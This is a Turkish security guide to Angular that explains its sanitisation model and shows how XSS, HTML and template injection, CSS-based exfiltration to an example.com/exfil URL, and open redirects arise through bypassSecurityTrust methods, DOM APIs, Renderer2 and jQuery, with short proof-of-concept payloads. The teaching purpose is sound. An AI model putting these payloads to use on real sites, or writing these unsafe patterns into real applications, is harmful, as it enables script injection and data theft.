Angular

Reading time: 16 minutes

Kontrol Listesi

Kontrol Listesi buradan alınmıştır.

  • Angular, istemci tarafı bir framework olarak kabul edilir ve sunucu tarafı koruması sağlaması beklenmez
  • Proje yapılandırmasında scriptler için sourcemap devre dışı bırakılmıştır
  • Güvenilmeyen kullanıcı girişi, şablonlarda kullanılmadan önce her zaman interpolasyon veya sanitizasyon işlemine tabi tutulur
  • Kullanıcının sunucu tarafı veya istemci tarafı şablonları üzerinde kontrolü yoktur
  • Güvenilmeyen kullanıcı girişi, uygulama tarafından güvenilir hale getirilmeden önce uygun bir güvenlik bağlamında sanitizasyon işlemine tabi tutulur
  • BypassSecurity* yöntemleri güvenilmeyen girdi ile kullanılmaz
  • Güvenilmeyen kullanıcı girişi, ElementRef, Renderer2 ve Document gibi Angular sınıflarına veya diğer JQuery/DOM sink'lerine iletilmez

Angular Nedir

Angular, güçlü ve açık kaynak bir ön uç framework'tür ve Google tarafından sürdürülmektedir. Kod okunabilirliğini ve hata ayıklamayı artırmak için TypeScript kullanır. Güçlü güvenlik mekanizmaları ile Angular, XSS ve açık yönlendirmeler gibi yaygın istemci tarafı güvenlik açıklarını önler. Ayrıca sunucu tarafında da kullanılabilir, bu nedenle güvenlik dikkate alınması gereken önemli bir konudur.

Framework mimarisi

Angular'ın temel kavramlarını daha iyi anlamak için, onun temel kavramlarına göz atalım.

Ortak bir Angular projesi genellikle şöyle görünür:

bash
my-workspace/
├── ... #workspace-wide configuration files
├── src
│   ├── app
│   │   ├── app.module.ts #defines the root module, that tells Angular how to assemble the application
│   │   ├── app.component.ts #defines the logic for the application's root component
│   │   ├── app.component.html #defines the HTML template associated with the root component
│   │   ├── app.component.css #defines the base CSS stylesheet for the root component
│   │   ├── app.component.spec.ts #defines a unit test for the root component
│   │   └── app-routing.module.ts #provides routing capability for the application
│   ├── lib
│   │   └── src #library-specific configuration files
│   ├── index.html #main HTML page, where the component will be rendered in
│   └── ... #application-specific configuration files
├── angular.json #provides workspace-wide and project-specific configuration defaults
└── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

Dokümana göre, her Angular uygulaması en az bir bileşene, DOM ile bir bileşen hiyerarşisini bağlayan kök bileşen (AppComponent) sahiptir. Her bileşen, uygulama verilerini ve mantığını içeren bir sınıf tanımlar ve hedef ortamda görüntülenecek bir görünümü tanımlayan bir HTML şablonuyla ilişkilendirilir. @Component() dekoratörü, hemen altındaki sınıfı bir bileşen olarak tanımlar ve şablonu ve ilgili bileşen özel meta verilerini sağlar. AppComponent, app.component.ts dosyasında tanımlanmıştır.

Angular NgModules, bir uygulama alanına, bir iş akışına veya yakından ilişkili bir yetenekler setine adanmış bir bileşen seti için bir derleme bağlamı bildirir. Her Angular uygulamasının, uygulamayı başlatan bootstrap mekanizmasını sağlayan kök modülü, geleneksel olarak AppModule olarak adlandırılır. Bir uygulama genellikle birçok işlevsel modül içerir. AppModule, app.module.ts dosyasında tanımlanmıştır.

Angular Router NgModule, uygulamanızdaki farklı uygulama durumları ve görünüm hiyerarşileri arasında bir navigasyon yolu tanımlamanıza olanak tanıyan bir hizmet sağlar. RouterModule, app-routing.module.ts dosyasında tanımlanmıştır.

Belirli bir görünümle ilişkilendirilmemiş ve bileşenler arasında paylaşmak istediğiniz veri veya mantık için bir hizmet sınıfı oluşturursunuz. Bir hizmet sınıfı tanımı, hemen öncesinde @Injectable() dekoratörü ile gelir. Dekoratör, diğer sağlayıcıların sınıfınıza bağımlılık olarak enjekte edilmesini sağlayan meta verileri sağlar. Bağımlılık enjeksiyonu (DI), bileşen sınıflarınızı ince ve verimli tutmanıza olanak tanır. Sunucudan veri almazlar, kullanıcı girişini doğrulamazlar veya doğrudan konsola günlüğe kaydetmezler; bu tür görevleri hizmetlere devrederler.

Sourcemap yapılandırması

Angular çerçevesi, TypeScript dosyalarını tsconfig.json seçeneklerini takip ederek JavaScript koduna çevirir ve ardından angular.json yapılandırması ile bir proje oluşturur. angular.json dosyasına bakıldığında, bir sourcemap'i etkinleştirme veya devre dışı bırakma seçeneği gözlemlenmiştir. Angular dokümantasyonuna göre, varsayılan yapılandırma, betikler için etkin bir sourcemap dosyasına sahiptir ve varsayılan olarak gizli değildir:

json
"sourceMap": {
"scripts": true,
"styles": true,
"vendor": false,
"hidden": false
}

Genel olarak, sourcemap dosyaları, üretilen dosyaları orijinal dosyalarına eşleştirdikleri için hata ayıklama amaçları için kullanılır. Bu nedenle, bunların bir üretim ortamında kullanılması önerilmez. Eğer sourcemap'ler etkinleştirilirse, okunabilirliği artırır ve Angular projesinin orijinal durumunu kopyalayarak dosya analizine yardımcı olur. Ancak, devre dışı bırakıldığında, bir inceleyici, anti-güvenlik desenlerini arayarak derlenmiş bir JavaScript dosyasını manuel olarak analiz edebilir.

Ayrıca, bir Angular projesine ait derlenmiş bir JavaScript dosyası, tarayıcı geliştirici araçları → Sources (veya Debugger ve Sources) → [id].main.js altında bulunabilir. Etkinleştirilen seçeneklere bağlı olarak, bu dosya sonunda //# sourceMappingURL=[id].main.js.map satırını içerebilir veya hidden seçeneği true olarak ayarlandığında içermeyebilir. Yine de, scripts için sourcemap devre dışı bırakıldığında, test daha karmaşık hale gelir ve dosyayı elde edemeyiz. Ayrıca, sourcemap proje derlemesi sırasında ng build --source-map gibi etkinleştirilebilir.

Veri bağlama

Bağlama, bir bileşen ile ilgili görünümü arasındaki iletişim sürecini ifade eder. Angular çerçevesine veri aktarmak için kullanılır. Veri, olaylar, interpolasyon, özellikler veya iki yönlü bağlama mekanizması gibi çeşitli yollarla aktarılabilir. Ayrıca, veri, ilgili bileşenler (ebeveyn-çocuk ilişkisi) ve iki alakasız bileşen arasında Service özelliği kullanılarak da paylaşılabilir.

Bağlamayı veri akışına göre sınıflandırabiliriz:

  • Veri kaynağından görünüm hedefine ( interpolasyon, özellikler, nitelikler, sınıflar ve stil içerir); şablonda [] veya {{}} kullanılarak uygulanabilir;
  • Görünüm hedefine veri kaynağından ( olaylar içerir); şablonda () kullanılarak uygulanabilir;
  • İki Yönlü; şablonda [()] kullanılarak uygulanabilir.

Bağlama, özellikler, olaylar ve nitelikler üzerinde, ayrıca bir kaynak direktifinin herhangi bir genel üyesi üzerinde çağrılabilir:

TİPHEDEFÖRNEKLER
ÖzellikEleman özelliği, Bileşen özelliği, Direktif özelliği<img [alt]="hero.name" [src]="heroImageUrl">
OlayEleman olayı, Bileşen olayı, Direktif olayı<button type="button" (click)="onSave()">Kaydet
İki yönlüOlay ve özellik<input [(ngModel)]="name">
NitelikNitelik (istisna)<button type="button" [attr.aria-label]="help">yardım
Sınıfsınıf özelliği<div [class.special]="isSpecial">Özel
Stilstil özelliği<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Angular güvenlik modeli

Angular'ın tasarımı, tüm verilerin varsayılan olarak kodlanmasını veya temizlenmesini içerir, bu da Angular projelerinde XSS güvenlik açıklarını keşfetmeyi ve istismar etmeyi giderek daha zor hale getirir. Veri işleme için iki ayrı senaryo vardır:

  1. İ interpolasyon veya {{user_input}} - bağlam duyarlı kodlama gerçekleştirir ve kullanıcı girişini metin olarak yorumlar;
jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
{{test}}

Sonuç: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. Özelliklere, niteliklere, sınıflara ve stillere bağlama veya [attribute]="user_input" - sağlanan güvenlik bağlamına dayalı olarak temizleme gerçekleştirir.

jsx
//app.component.ts
test = "<script>alert(1)</script><h1>test</h1>";

//app.component.html
<div [innerHtml]="test"></div>

Sonuç: <div><h1>test</h1></div>

6 tür SecurityContext vardır:

  • None;
  • HTML, değer HTML olarak yorumlandığında kullanılır;
  • STYLE, CSS'nin style özelliğine bağlandığında kullanılır;
  • URL, <a href> gibi URL özellikleri için kullanılır;
  • SCRIPT, JavaScript kodu için kullanılır;
  • RESOURCE_URL, kod olarak yüklenen ve yürütülen bir URL olarak, örneğin, <script src> içinde.

Güvenlik Açıkları

Güvenlik Güvenini Aşma yöntemleri

Angular, varsayılan temizleme sürecini aşmak ve bir değerin belirli bir bağlamda güvenli bir şekilde kullanılabileceğini belirtmek için bir dizi yöntem tanıtır; aşağıdaki beş örnekte olduğu gibi:

  1. bypassSecurityTrustUrl, verilen değerin güvenli bir stil URL'si olduğunu belirtmek için kullanılır:
jsx
//app.component.ts
this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()');

//app.component.html
<a class="e2e-trusted-url" [href]="trustedUrl">Bana tıkla</a>

//sonuç
<a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Bana tıkla</a>
  1. bypassSecurityTrustResourceUrl, verilen değerin güvenli bir kaynak URL'si olduğunu belirtmek için kullanılır:
jsx
//app.component.ts
this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png");

//app.component.html
<iframe [src]="trustedResourceUrl"></iframe>

//sonuç
<img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtml, verilen değerin güvenli HTML olduğunu belirtmek için kullanılır. Bu şekilde DOM ağacına script öğeleri eklemenin, ekli JavaScript kodunu yürütmeyeceğini unutmayın, çünkü bu öğeler DOM ağacına bu şekilde eklenir.
jsx
//app.component.ts
this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html etiketi</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>");

//app.component.html
<p style="border:solid" [innerHtml]="trustedHtml"></p>

//sonuç
<h1>html etiketi</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScript, verilen değerin güvenli JavaScript olduğunu belirtmek için kullanılır. Ancak, bu yöntemi kullanarak şablonlarda JS kodunu yürütmenin mümkün olmadığını gördük, bu nedenle davranışının öngörülemez olduğunu bulduk.
jsx
//app.component.ts
this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')");

//app.component.html
<script [innerHtml]="trustedScript"></script>

//sonuç
-
  1. bypassSecurityTrustStyle, verilen değerin güvenli CSS olduğunu belirtmek için kullanılır. Aşağıdaki örnek CSS enjeksiyonunu göstermektedir:
jsx
//app.component.ts
this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)');

//app.component.html
<input type="password" name="pwd" value="01234" [style]="trustedStyle">

//sonuç
Request URL: GET example.com/exfil/a

Angular, verileri görünümlerde görüntülemeden önce temizlemek için bir sanitize yöntemi sağlar. Bu yöntem, sağlanan güvenlik bağlamını kullanır ve girişi buna göre temizler. Ancak, belirli veri ve bağlam için doğru güvenlik bağlamını kullanmak çok önemlidir. Örneğin, HTML içeriği üzerinde SecurityContext.URL ile bir temizleyici uygulamak, tehlikeli HTML değerlerine karşı koruma sağlamaz. Bu tür senaryolarda, güvenlik bağlamının yanlış kullanımı XSS güvenlik açıklarına yol açabilir.

HTML enjeksiyonu

Bu güvenlik açığı, kullanıcı girişi herhangi bir üç özellikten birine bağlandığında meydana gelir: innerHTML, outerHTML veya iframe srcdoc. Bu niteliklere bağlanırken HTML olduğu gibi yorumlanır, giriş SecurityContext.HTML kullanılarak temizlenir. Böylece, HTML enjeksiyonu mümkündür, ancak cross-site scripting (XSS) mümkün değildir.

innerHTML kullanma örneği:

jsx
//app.component.ts
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html'
})
export class AppComponent{
//define a variable with user input
test = "<script>alert(1)</script><h1>test</h1>";
}

//app.component.html
<div [innerHTML]="test"></div>

Şablon enjeksiyonu

İstemci Tarafı Render (CSR)

Angular, sayfaları dinamik olarak oluşturmak için şablonları kullanır. Bu yaklaşım, Angular'ın değerlendirmesi için şablon ifadelerini çift süslü parantezler ({{}}) içinde kapsüllemeyi içerir. Bu şekilde, çerçeve ek işlevsellik sunar. Örneğin, {{1+1}} gibi bir şablon 2 olarak görüntülenecektir.

Genellikle, Angular, şablon ifadeleriyle karıştırılabilecek kullanıcı girişlerini (örneğin, `< > ' " `` gibi karakterler) kaçışlar. Bu, kara listeye alınmış karakterleri kullanmaktan kaçınmak için JavaScript dize nesneleri üreten işlevler gibi bu kısıtlamayı aşmak için ek adımların gerekli olduğu anlamına gelir. Ancak, bunu başarmak için Angular bağlamını, özelliklerini ve değişkenlerini dikkate almamız gerekir. Bu nedenle, bir şablon enjeksiyonu saldırısı şu şekilde görünebilir:

jsx
//app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@Component({
selector: 'app-root',
template: '<h1>title</h1>' + _userInput
})

Yukarıda gösterildiği gibi: constructor, Object constructor özelliğinin kapsamını ifade eder, bu da bize String constructor'ını çağırma ve rastgele kod yürütme imkanı tanır.

Sunucu Tarafı Render (SSR)

CSR'dan farklı olarak, tarayıcının DOM'unda gerçekleşen, Angular Universal, şablon dosyalarının SSR'sinden sorumludur. Bu dosyalar daha sonra kullanıcıya iletilir. Bu ayrıma rağmen, Angular Universal, SSR güvenliğini artırmak için CSR'de kullanılan aynı sanitizasyon mekanizmalarını uygular. SSR'deki bir şablon enjeksiyon açığı, kullanılan şablon dilinin aynı olması nedeniyle CSR'deki gibi tespit edilebilir.

Elbette, Pug ve Handlebars gibi üçüncü taraf şablon motorları kullanıldığında yeni şablon enjeksiyon açıkları tanıtma olasılığı da vardır.

XSS

DOM arayüzleri

Daha önce belirtildiği gibi, Document arayüzünü kullanarak doğrudan DOM'a erişebiliriz. Kullanıcı girişi önceden doğrulanmazsa, bu, cross-site scripting (XSS) açıklarına yol açabilir.

Aşağıdaki örneklerde document.write() ve document.createElement() yöntemlerini kullandık:

jsx
//app.component.ts 1
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
document.open();
document.write("<script>alert(document.domain)</script>");
document.close();
}
}

//app.component.ts 2
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var d = document.createElement('script');
var y = document.createTextNode("alert(1)");
d.appendChild(y);
document.body.appendChild(d);
}
}

//app.component.ts 3
import { Component} from '@angular/core';

@Component({
selector: 'app-root',
template: ''
})
export class AppComponent{
constructor () {
var a = document.createElement('img');
a.src='1';
a.setAttribute('onerror','alert(1)');
document.body.appendChild(a);
}
}

Angular sınıfları

Angular'da DOM öğeleriyle çalışmak için kullanılabilecek bazı sınıflar vardır: ElementRef, Renderer2, Location ve Document. Son iki sınıfın ayrıntılı açıklaması Açık yönlendirmeler bölümünde verilmiştir. İlk iki sınıf arasındaki temel fark, Renderer2 API'sinin DOM öğesi ile bileşen kodu arasında bir soyutlama katmanı sağlamasıdır; oysa ElementRef sadece öğeye bir referans tutar. Bu nedenle, Angular belgelerine göre, ElementRef API'si yalnızca doğrudan DOM erişimi gerektiğinde son çare olarak kullanılmalıdır.

  • ElementRef, DOM öğelerini manipüle etmek için kullanılabilecek nativeElement özelliğini içerir. Ancak, nativeElement'in yanlış kullanımı, aşağıda gösterildiği gibi bir XSS enjeksiyon açığına yol açabilir:
tsx
//app.component.ts
import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
...
constructor(private elementRef: ElementRef) {
const s = document.createElement('script');
s.type = 'text/javascript';
s.textContent = 'alert("Hello World")';
this.elementRef.nativeElement.appendChild(s);
}
}
  • Renderer2'nin, yerel öğelere doğrudan erişim desteklenmediğinde bile güvenli bir şekilde kullanılabilecek bir API sağladığı gerçeğine rağmen, bazı güvenlik açıkları vardır. Renderer2 ile, setAttribute() yöntemi kullanılarak bir HTML öğesine nitelikler ayarlanabilir; bu yöntemin XSS önleme mekanizmaları yoktur.
tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

addAttribute(){
this.renderer2.setAttribute(this.img.nativeElement, 'src', '1');
this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)');
}
}

//app.component.html
<img #img>
<button (click)="setAttribute()">Click me!</button>
  • Bir DOM öğesinin özelliğini ayarlamak için Renderer2.setProperty() yöntemini kullanabilir ve bir XSS saldırısını tetikleyebilirsiniz:
tsx
//app.component.ts
import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {

public constructor (
private renderer2: Renderer2
){}
@ViewChild("img") img!: ElementRef;

setProperty(){
this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>');
}
}

//app.component.html
<a #a></a>
<button (click)="setProperty()">Click me!</button>

Araştırmalarımız sırasında, XSS ve CSS enjeksiyonları ile ilgili olarak Renderer2'nin setStyle(), createComment() ve setValue() gibi diğer yöntemlerinin davranışını da inceledik. Ancak, işlevsel sınırlamaları nedeniyle bu yöntemler için geçerli saldırı vektörleri bulamadık.

jQuery

jQuery, Angular projesinde HTML DOM nesnelerini manipüle etmek için kullanılabilecek hızlı, küçük ve özellik açısından zengin bir JavaScript kütüphanesidir. Ancak, bilindiği gibi, bu kütüphanenin yöntemleri XSS açığına ulaşmak için istismar edilebilir. Bazı savunmasız jQuery yöntemlerinin Angular projelerinde nasıl istismar edilebileceğini tartışmak için bu alt bölümü ekledik.

  • html() yöntemi, eşleşen öğelerin setindeki ilk öğenin HTML içeriğini alır veya her eşleşen öğenin HTML içeriğini ayarlar. Ancak, tasarım gereği, bir HTML dizesi kabul eden herhangi bir jQuery yapıcı veya yöntemi potansiyel olarak kod çalıştırabilir. Bu, <script> etiketlerinin enjeksiyonu veya kodu çalıştıran HTML niteliklerinin kullanılması yoluyla gerçekleşebilir.
tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
$("p").html("<script>alert(1)</script>");
});
}
}

//app.component.html
<button>Click me</button>
<p>some text here</p>
  • jQuery.parseHTML() yöntemi, dizeyi bir dizi DOM düğümüne dönüştürmek için yerel yöntemler kullanır; bu düğümler daha sonra belgeye eklenebilir.
tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])

Daha önce belirtildiği gibi, HTML dizeleri kabul eden çoğu jQuery API'si, HTML'de dahil edilen betikleri çalıştırır. jQuery.parseHTML() yöntemi, keepScripts açıkça true olmadıkça, ayrıştırılan HTML'deki betikleri çalıştırmaz. Ancak, çoğu ortamda dolaylı olarak betikleri çalıştırmak hala mümkündür; örneğin, <img onerror> niteliği aracılığıyla.

tsx
//app.component.ts
import { Component, OnInit } from '@angular/core';
import * as $ from 'jquery';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent implements OnInit
{
ngOnInit()
{
$("button").on("click", function()
{
var $palias = $("#palias"),
str = "<img src=1 onerror=alert(1)>",
html = $.parseHTML(str),
nodeNames = [];
$palias.append(html);
});
}
}

//app.component.html
<button>Click me</button>
<p id="palias">some text</p>

Açık yönlendirmeler

DOM arayüzleri

W3C belgelerine göre, window.location ve document.location nesneleri modern tarayıcılarda takma adlar olarak kabul edilir. Bu nedenle, bazı yöntemlerin ve özelliklerin benzer bir uygulamasına sahip olmaları, javascript:// şeması saldırılarıyla açık yönlendirme ve DOM XSS'e neden olabilir.

  • window.location.href(ve document.location.href)

Mevcut DOM konum nesnesini almanın kanonik yolu window.location kullanmaktır. Ayrıca, tarayıcıyı yeni bir sayfaya yönlendirmek için de kullanılabilir. Sonuç olarak, bu nesne üzerinde kontrol sahibi olmak, açık yönlendirme açığını istismar etmemizi sağlar.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.href = "https://google.com/about"
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>

Aşağıdaki senaryolar için istismar süreci aynıdır.

  • window.location.assign()(ve document.location.assign())

Bu yöntem, pencerenin belirtilen URL'deki belgeyi yüklemesini ve görüntülemesini sağlar. Bu yöntemi kontrol edersek, açık yönlendirme saldırısı için bir hedef olabilir.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.assign("https://google.com/about")
}
}
  • window.location.replace()(ve document.location.replace())

Bu yöntem, mevcut kaynağı sağlanan URL'deki kaynakla değiştirir.

assign() yönteminden farkı, window.location.replace() kullandıktan sonra mevcut sayfanın oturum Geçmişi'nde kaydedilmeyecek olmasıdır. Ancak, bu yöntemi kontrol ettiğimizde açık yönlendirme açığını istismar etmek de mümkündür.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.location.replace("http://google.com/about")
}
}
  • window.open()

window.open() yöntemi bir URL alır ve tanımladığı kaynağı yeni veya mevcut bir sekmeye veya pencereye yükler. Bu yöntemi kontrol etmek, bir XSS veya açık yönlendirme açığını tetiklemek için de bir fırsat olabilir.

tsx
//app.component.ts
...
export class AppComponent {
goToUrl(): void {
window.open("https://google.com/about", "_blank")
}
}

Angular sınıfları

  • Angular belgelerine göre, Angular Document, DOM belgesi ile aynıdır; bu da, Angular'daki istemci tarafı açıklarını istismar etmek için DOM belgesi için yaygın vektörlerin kullanılabileceği anlamına gelir. Document.location özellikleri ve yöntemleri, başarılı açık yönlendirme saldırıları için hedefler olabilir; aşağıdaki örnekte gösterildiği gibi:
tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import { DOCUMENT } from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css']
})
export class AppComponent {
constructor(@Inject(DOCUMENT) private document: Document) { }

goToUrl(): void {
this.document.location.href = 'https://google.com/about';
}
}

//app.component.html
<button type="button" (click)="goToUrl()">Click me!</button>
  • Araştırma aşamasında, açık yönlendirme açıkları için Angular Location sınıfını da inceledik, ancak geçerli vektörler bulunamadı. Location, uygulamaların bir tarayıcının mevcut URL'siyle etkileşimde bulunmak için kullanabileceği bir Angular hizmetidir. Bu hizmet, verilen URL'yi manipüle etmek için birkaç yönteme sahiptir - go(), replaceState() ve prepareExternalUrl(). Ancak, bunları dış bir alan adına yönlendirmek için kullanamayız. Örneğin:
tsx
//app.component.ts
import { Component, Inject } from '@angular/core';
import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common';

@Component({
selector: 'app-root',
templateUrl: './app.component.html',
styleUrls: ['./app.component.css'],
providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}],
})
export class AppComponent {
location: Location;
constructor(location: Location) {
this.location = location;
}
goToUrl(): void {
console.log(this.location.go("http://google.com/about"));
}
}

Sonuç: http://localhost:4200/http://google.com/about

  • Angular Router sınıfı esasen aynı alan içinde gezinmek için kullanılır ve uygulamaya ek bir güvenlik açığı getirmez:
jsx
//app-routing.module.ts
const routes: Routes = [
{ path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

Sonuç: http://localhost:4200/https:

Aşağıdaki yöntemler de alanın kapsamı içinde gezinir:

jsx
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ]
this.router.navigate(['PATH'])
this.router.navigateByUrl('URL')

Referanslar